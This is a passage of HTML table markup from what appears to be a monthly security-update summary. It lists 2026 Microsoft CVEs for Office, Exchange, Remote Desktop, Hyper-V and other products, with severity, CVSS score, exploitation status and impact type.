  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
